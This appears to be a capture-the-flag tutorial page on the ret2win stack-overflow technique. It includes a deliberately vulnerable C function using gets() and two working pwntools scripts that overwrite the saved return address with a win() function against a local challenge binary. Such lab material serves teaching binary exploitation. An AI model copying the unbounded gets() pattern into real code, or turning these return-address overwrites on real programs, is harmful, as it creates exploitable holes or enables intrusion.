Skip to content

Ret2win

Idea: replace the saved return address with the address of a function that already performs the challenge’s success action.

void win(void) {
puts("You win");
}
void vuln(void) {
char buf[64];
gets(buf);
}

Measure offset with a cyclic pattern and get win from the ELF symbols or Ghidra.

from pwn import *
context.binary = elf = ELF("./ret2win", checksec=False)
offset = 72 # replace with the measured offset for this binary
win = elf.symbols["win"]
p = process(elf.path)
payload = flat({offset: win}) # flat packs an address using the ELF architecture
p.sendlineafter(b"> ", payload) # replace with the prompt, or use p.sendline(payload)
p.interactive()
  1. Confirm the cyclic offset at the saved return slot; do not use the buffer’s declared size as the offset.
  2. Confirm win is a runtime-valid address. For PIE, add the current executable base; a static address alone will move between runs.
  3. If an x86-64 target crashes at a library call inside win, inspect stack alignment. A single ret gadget before win may be needed.

For a 32-bit custom stack adjustment, use the stack-pivot recipe. For multi-gadget register setup, see ROP.

Save as exploit.py beside the local binary. Measure OFFSET using Find the saved-return offset. This target shape has no prompt, so the script sends the line directly.

#!/usr/bin/env python3
from pwn import *
BINARY = "./chall"
OFFSET = 72 # replace with the measured offset for this exact build
WIN_ADDRESS = None # set to the verified address if the ELF is stripped
context.log_level = "info"
context.binary = elf = ELF(BINARY, checksec=False)
if elf.pie:
log.error("This example uses a fixed non-PIE win address")
if WIN_ADDRESS is None:
if "win" not in elf.symbols:
log.error("Set WIN_ADDRESS to the verified address from Ghidra")
WIN_ADDRESS = elf.symbols["win"]
payload = flat({OFFSET: WIN_ADDRESS})
log.info("win: %#x", WIN_ADDRESS)
log.info("payload length: %d", len(payload))
io = process(elf.path)
io.sendline(payload)
print(io.recvall(timeout=2).decode("utf-8", errors="replace"))

If the actual challenge prints a prompt, receive it first with io.sendlineafter(b"exact prompt", payload). For a service endpoint, use the complete local/remote script; confirm the local and remote binary layouts match.